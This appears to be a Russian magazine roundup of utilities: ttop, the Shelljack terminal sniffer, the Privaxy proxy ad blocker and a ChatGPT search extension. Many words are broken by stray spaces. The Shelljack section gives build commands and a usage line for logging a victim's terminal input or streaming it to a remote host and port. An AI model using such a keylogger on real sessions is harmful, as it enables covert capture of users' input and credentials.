Так уж получилось , что в каждой из моей подборок есть вариация на тему top. Этот раз не стане т исключени ем. Предлагаю твоему вниманию ttop. После всего , что мы уже видели в прошлых выпусках , он не выгляди т каким то уж особен но крутым , но изюмин ку все же имеет : он может записывать историю активности и позволя ет просматри вать ее. Это не atop, конечно , но тоже ничего.
Установить ttop можно , просто скачав готовый бинарь с GitHub:
wget https://github.com/inv2004/ttop/releases/latest/download/ttop
chmod +x ttop
Чтобы запустить сбор статис тики, выполни ./ttop --on, а для останов ки —
./ttop --off. Просматри вать истори ю можно будет при обычном запуске .
SHELLJACK
Shelljack — это утилита , которая работае т в пространс тве пользовате ля и с помощью ptrace снифае т термина л и позволя е т пересылать куда нибудь полученные данные . Этакий кейлог гер , который умее т еще и захватывать ввод.
Примене ние такому инстру мен ту есть не только в целевых атаках , но и в мирной повседнев ной жизни . Допустим , ты вынужден предос тавить кому то доступ к оболоч ке на сервере , который ты админис три руешь . Но как прокон тролиро вать происхо дящее там? Можно просто запустить shelljack и настро ить его пересылать тебе все, что творит ся в терминале , в реальном времени , и, если что то идет не так, ты сразу узнаешь , что именно сделал поль зователь, и сможешь вовремя дропнуть сессию .
Обычн о подобные защитные приколы реализую т с помощью функций аудита , политик SELinux или даже специаль ного модуля в ядре, но эта утилита позволя ет вообще не лезть в ядро и сделать все в пользователь ском прос транстве . Тебе не потребу ется даже root!
Но не думай, что ты сможешь вот так вот просто следить за любыми поль зователями . Мало того, на Ubuntu, начиная с еще допотопной версии 10.10, применен специаль ный патч, который ограничи вае т возможнос ти ptrace, и именн о в Ubuntu работа этой утилиты все же потребу е т прав root. Впрочем , если ты админ, то это вряд ли вызовет какие то проблемы .
Готово го бинарника у shelljack нет. Для сборки потребу ется установить зависимос ти ptrace_do и ctty, но они тоже собираются без малейших зат руднений :
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/ctty.git
cd ctty
make
cd ..
git clone https://github.com/emptymonkey/shelljack.git
cd shelljack
make
После этог о достаточ но любым способом подсмот реть PID процес са эму лятора терминала , за которым нужно следить . Команда запуска в общем слу чае такая:
shelljack [-f FILE]|[-n HOSTNAME:PORT] <PID>
Опция -f указыва е т на файл для хранения логов, а -n позволя е т передавать перехвачен ные данные в реальном времени по сети на указан ный IP-адрес и порт. <PID> — это, соответс твен но , идентифика тор процес са жертвы .
PRIVAXY
Блокиров щик рекламы и следящих скриптов Privaxy работае т не как браузер ное расширение , а как отдельный прокси сервер , который ставит ся на компьютер и фильтру ет трафик . Учитывая , что с Chrome Manifest v3 появи лись проблемы , которые мешают работать блокиров щикам рекламы , такая замена может быть очень кстати .
Вмешивать ся в HTTPS-трафик Privaxy позволя ет самоподписан ный сер тификат: программа добавит его в список доверенных , и браузер не будет поднимать лишн юю панику.
Скринш от взят из репозитория проекта
Privaxy написан на Rust и экономич но относит ся к ресурсам — по заявлени ям разработ чика, на ~320 000 фильтров нужно всего около 50 Мбайт оператив ки!
Для установ ки достаточ но скачать собранный бинарник со страницы релизов на GitHub. Сборки доступны для Windows, Linux (пакеты deb и AppImage) и macOS, причем для последних двух есть билды и для ARM.
Прокси поднима ется на локальном хосте (не смотри т в сеть) на пор те 8100. Для управления существу е т GUI и CLI-интерфейс.
Что немаловаж но, есть возможность выборочно отключать вмешатель ство в трафик до определен ных хостов .
CHATGPT FOR GOOGLE
Про ChatGPT в 2023 году слыша л каждый . Эта замечатель ная нейросеть сво бодн о понимае т на многих языках , отвечае т на любые вопросы и умее т врать настоль к о убедитель но , что даже понадобились детекторы , способ ные рас познать контент , сгенери рован ный ИИ (один, другой ).
Для нас, инженеров , важно то, что ChatGPT с полпинка понимае т задачу и выдае т красивое готовое решение. Особен но удобно это использовать
при решении типовых проблем , в духе «создать React-компонент » или «рас парсить JSON на C#». Можно гуглить , перекапывать Stack Overfow, а можно просто спросить ИИ и получить ответ для конкрет но твоей ситуации .
Расширение ChatGPT for Google позволя е т совместить эти способы : каж дый раз, когда ты спрашива ешь что то в Google, Bing, DDG, Brave или еще некоторых поисковиках , расширение продуб лиру е т твой запрос в ChatGPT и покажет ответ прям о на странице результатов .
Поддержи вается подсвет ка кода, Markdown в ответах коррек тно парсится , есть кнопка копирования ответа и, самое главное , темная тема!
Установить это чудо прогресса можно из официаль ных магазинов Chrome и Firefox, а если у тебя браузер Brave, то нужно будет снять в настрой ках галочку «Prevent sites from fngerprinting me based on my language preferences»,
иначе расширение не сможе т показывать ответы на страницах поисковика .